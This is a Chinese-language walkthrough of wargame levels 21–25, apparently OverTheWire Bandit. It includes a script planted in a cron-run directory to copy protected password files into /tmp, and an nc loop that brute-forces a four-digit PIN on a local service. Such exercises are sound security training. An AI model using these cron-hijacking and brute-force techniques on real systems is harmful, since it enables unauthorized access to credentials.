level21：linux计划任务
ls /etc/cron.d/ #发现可疑文件cronjob_bandit22
cat cronjob_bandit22 #发现执行命令/usr/bin/cronjob_bandit22.sh，查看该文件属性，发现group组有x权限。
/usr/bin/cronjob_bandit22.sh
cat t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv #这里注意，用户没有ls /tmp的权限，但可以访问tmp里面的文件。
level22：linux下求算md5
echo I am user bandit23 | md5sum | cut -d ‘ ‘ -f 1 #结果是8ca319486bfbbc3663ea0fbe81326349
cat /tmp/8ca319486bfbbc3663ea0fbe81326349 #由于crontab定时执行相应脚本，所以/tmp/下存在这个文件
level23：bash脚本（当然只是为了解体，可以使用level22的方法，因为总有人已经做好脚本了）
cat /ect/cron.d/cronjob_bandit23 #* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
ls -l /usr/bin/cronjob_bandit23.sh
#-rwxr-x--- 1 bandit23 bandit22 211 Nov 14 10:32 /usr/bin/cronjob_bandit23.sh 具备写权限
#编写脚本：这里使用人家已经写好的
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ‘ ‘ -f 1)
#由于执行的时候是将输出重定向到了/dev/null，所以下面一句没意义
#echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
脚本写好，等待一段时间，使用level22的方法，获取下一关密码。
//原来只有到此为止，如今整理的时候发现新增加了几题
level24：brute-forcing
#题目要求$passwd_bandit24 {0000..9999}暴力出下一关的密钥
echo "$passwd_bandit24 0000" | nc localhost 30002
#发现返回结果第二行以Wrong!开头，所以暴力脚本如下：
#!/bin/bash
passwd="$passwd_bandit24"
for i in {0..9999}
do
#printf "try $passwd %04d\n" $i
a=`printf "$passwd %04d" $i | nc localhost 30002 | awk "NR==2" | grep -v Wrong` #awk那段是取返回结果的第二行
if [ -n "$a" ] #判断返回结果是否为空，如果不为空，再次访问获取结果。因为结果在第三行，所以要加这个。
then
printf "$passwd %04d" $i | nc localhost 30002
break
fi
done
level25：非bash的shell